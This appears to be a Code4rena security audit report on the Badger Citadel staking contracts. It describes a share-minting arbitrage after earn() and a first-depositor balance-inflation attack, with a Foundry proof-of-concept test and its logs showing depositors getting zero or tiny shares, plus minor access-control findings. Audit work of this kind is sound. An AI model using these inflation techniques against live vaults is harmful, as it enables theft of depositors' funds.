Badger Citadel contest - VAD37's results

Lines of code

https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadel.sol#L717-L724 https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadel.sol#L676-L679

Vulnerability details

Balance() count in StakedCitadel.sol did not include CTDL balance from other pool that interact with staking. Unlike the original yVault.sol including the IController balance (IController replaced with IStrategy in this project).

This allows user to mint unfair amount of xCTDL after strategist/keeper call earn() and before withdrawToVault().

Impact

Arbitrage bot can watch earn() and call deposit() right after to get significant amount of xCTDL.

Proof of Concept

After keeper or governance call earn() to move 95% CTDL from StakedCitadel.sol to strategy pool.

The deposit share calculation using this formula: uint share = CTDL deposit * xCTDL totalSupply / CTDL balance. Because CTDL balance have been reduced 95% after earn(), the amount of share gain more x20 times than normal.

The earn() function also require not pausedDeposit too. So anyone can call deposit() after earn() to get significant amount of xCTDL.

After withdrawToVault() called and CTDL is returned, they can withdraw their xCTDL to profit.

Recommended Mitigation Steps

Because IStrategy not set during init, have an extra stub contract to count all CTDL supply for staking would be less ugly than check if else IStrategy null and count total CTDL balance.

Or better, included a real Strategy contract during initialization. Hope that the strategy not changed midway and someone forgot to transfer old strategy balance to new strategy.

Judge has assessed an item in Issue #41 as High risk. The relevant finding follows: StakedCitadelVester.sol Not implemented IVesting interface. The function vest() is named incorrectly . Should be setupVesting() called from StakedCitadel.sol.

Lines of code

https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadel.sol#L772-L776 https://github.com/code-423n4/2022-04-badger-citadel/blob/18f8c392b6fc303fe95602eba6303725023e53da/src/StakedCitadel.sol#L887-L891

Vulnerability details

The function _mintSharesForDeposit in the StakedCitadel.sol give xCTDl = CTDL with 1:1 to first depositor (after deployment).

Subsequence deposits will calculate share using CTDL amount * xCTDL totalSupply / StakedCitadel CTDL current balance.

If xCTDL totalSupply = 1 (first deposit) and CTDL balance = 1e18 (ERC20 transfer by someone outside deposit function), all next deposits will return share number truncate to 0.

Impact

Break all math calculation in all contracts using xCTDL

Forge test POC

forge test --match-test DepositStakeCitadel -vv --fork-block-number 14590926 --fork-url {MAINNET_ALCHEMY}

uint160 addressCount = 1;

function _newFakeAddress() internal returns (address fakeAddress) {
    fakeAddress = address(addressCount++);
}

function _emitFakeUserDeposit(uint amount) internal {
    address user = _newFakeAddress();
    vm.prank(address(citadelMinter));
    citadel.mint(user, amount);
    vm.startPrank(user);
    citadel.approve(address(xCitadel), amount);
    xCitadel.depositAll();
    vm.stopPrank();
    emit log_named_uint("stake CTDL", amount);
    emit log_named_uint("get  xCTDL", xCitadel.balanceOf(user));
}

function testDepositStakeCitadelBecomeFraction() public {
    _emitFakeUserDeposit(1);
    // send some CTDL token to StakedCitadel contract to inflate balance.
    vm.prank(address(citadelMinter));
    citadel.mint(address(xCitadel), 2e17);
    // stake user get fraction of share with only 1 decimal number.
    _emitFakeUserDeposit(5e18);
    _emitFakeUserDeposit(2e18);
    _emitFakeUserDeposit(1e18);
    _emitFakeUserDeposit(3e18);
    _emitFakeUserDeposit(5e18);
    _emitFakeUserDeposit(3e18);
    // user deposit less than 1e18 get 0 staked token back
    _emitFakeUserDeposit(1e14);
    _emitFakeUserDeposit(1e16);
    _emitFakeUserDeposit(5e17);
    emit log_named_uint(
        "xCTDL CTDL balance",
        citadel.balanceOf(address(xCitadel))
    );
    emit log_named_uint("xCTDL total supply", xCitadel.totalSupply());

    testMintAndDistribute();
    _emitFakeUserDeposit(3e18);
    _emitFakeUserDeposit(1e18);
    _emitFakeUserDeposit(1e17);
    _emitFakeUserDeposit(5e18);

    emit log_named_uint(
        "xCTDL CTDL balance",
        citadel.balanceOf(address(xCitadel))
    );
    emit log_named_uint("xCTDL total supply", xCitadel.totalSupply());
}

function testDepositStakeCitadelExploit() public {
    // first stake user get 1e18 share
    _emitFakeUserDeposit(1e18);
    // send some CTDL token to StakedCitadel contract to inflate balance.
    vm.prank(address(citadelMinter));
    citadel.mint(address(xCitadel), 3e18);
    // other user get share = amount / 4 ;
    // first deposit got extra profit.
    _emitFakeUserDeposit(2e18);
    _emitFakeUserDeposit(1e18);
    _emitFakeUserDeposit(3e18);
    _emitFakeUserDeposit(5e18);
    _emitFakeUserDeposit(3e18);
    _emitFakeUserDeposit(1e19);
    _emitFakeUserDeposit(1e20);
    emit log_named_uint(
        "xCTDL CTDL balance",
        citadel.balanceOf(address(xCitadel))
    );
    emit log_named_uint("xCTDL total supply", xCitadel.totalSupply());
    testMintAndDistribute();
    _emitFakeUserDeposit(3e18);
    _emitFakeUserDeposit(1e18);
    _emitFakeUserDeposit(1e17);
    _emitFakeUserDeposit(5e18);

    emit log_named_uint(
        "xCTDL CTDL balance",
        citadel.balanceOf(address(xCitadel))
    );
    emit log_named_uint("xCTDL total supply", xCitadel.totalSupply());
}

Running 2 tests for src\test\MintAndDistribute.t.sol:MintAndDistributeTest
[PASS] testDepositStakeCitadelBecomeFraction() (gas: 5228031)
Logs:
  stake CTDL: 1
  get  xCTDL: 1
  Send 2e17 CTDL token to contract to inflate balance
  stake CTDL: 5000000000000000000
  get  xCTDL: 24
  stake CTDL: 2000000000000000000
  get  xCTDL: 9
  stake CTDL: 1000000000000000000
  get  xCTDL: 4
  stake CTDL: 3000000000000000000
  get  xCTDL: 13
  stake CTDL: 5000000000000000000
  get  xCTDL: 22
  stake CTDL: 3000000000000000000
  get  xCTDL: 13
  stake CTDL: 100000000000000
  get  xCTDL: 0
  stake CTDL: 10000000000000000
  get  xCTDL: 0
  stake CTDL: 500000000000000000
  get  xCTDL: 2
  xCTDL CTDL balance: 19710100000000000001
  xCTDL total supply: 88

  Run TestMintAndDistribute after
  
  xCitadel ppfs before: 223978409090909090920454545454545454
  xCitadel ppfs after : 410886131731949221674904942965779467
  change xCitadel ppfs: 186907722641040130754450397511234013
  xCitadel total supply before: 88
  xCitadel total supply after : 526
  xCitadel change in supply   : 438
  stake CTDL: 3000000000000000000
  get  xCTDL: 7
  stake CTDL: 1000000000000000000
  get  xCTDL: 2
  stake CTDL: 100000000000000000
  get  xCTDL: 0
  stake CTDL: 5000000000000000000
  get  xCTDL: 12
  xCTDL CTDL balance: 225226105291005290601
  xCTDL total supply: 547

[PASS] testDepositStakeCitadelExploit() (gas: 5171536)
Logs:
  stake CTDL: 1000000000000000000
  get  xCTDL: 1000000000000000000  
  Send some token to contract to inflate balance
  stake CTDL: 2000000000000000000
  get  xCTDL: 500000000000000000
  stake CTDL: 1000000000000000000
  get  xCTDL: 250000000000000000
  stake CTDL: 3000000000000000000
  get  xCTDL: 750000000000000000
  stake CTDL: 5000000000000000000
  get  xCTDL: 1250000000000000000
  stake CTDL: 3000000000000000000
  get  xCTDL: 750000000000000000
  stake CTDL: 10000000000000000000
  get  xCTDL: 2500000000000000000
  stake CTDL: 100000000000000000000
  get  xCTDL: 25000000000000000000
  xCTDL CTDL balance: 128000000000000000000
  xCTDL total supply: 32000000000000000000

  Run TestMintAndDistribute after
  
  xCitadel ppfs before: 4000000000000000000
  xCitadel ppfs after : 5736596433317301435
  change xCitadel ppfs: 1736596433317301435
  xCitadel total supply before: 32000000000000000000
  xCitadel total supply after : 56552000661375661325
  xCitadel change in supply   : 24552000661375661325
  stake CTDL: 3000000000000000000
  get  xCTDL: 522958174742159803
  stake CTDL: 1000000000000000000
  get  xCTDL: 174319391580719934
  stake CTDL: 100000000000000000
  get  xCTDL: 17431939158071993
  stake CTDL: 5000000000000000000
  get  xCTDL: 871596957903599671
  xCTDL CTDL balance: 333516005291005290600
  xCTDL total supply: 58138307124760212726

Test result: ok. 2 passed; 0 failed; finished in 1.28s

Recommended Mitigation Steps

This is a very unlikely case. Unless, everyone withdraws all xCTDL out of contract and totalSupply reach 0 which allow this exploit to work.

Since deployment code in test already stake some token, and there is no way someone has access CTDL outside of funding contract before public sale.

There is no need to migrate this.

SettAccessControl.sol

Missing zero check address on setStrategist, setKeeper, setGovernance. The setGovernance should require address check to prevent lost contract.

StakedCitadelVester.sol

Not implemented IVesting interface. The function vest() is named incorrectly . Should be setupVesting() called from StakedCitadel.sol.

GlobalAccessControl.sol

Forget to init future/unused variable transferFromDisabled to true in initialize().

Also missing IGac interface implementation for disableTransferFrom() and enableTransferFrom() functions.

Note

Should have implemented interface early in development, would prevent wrong function name.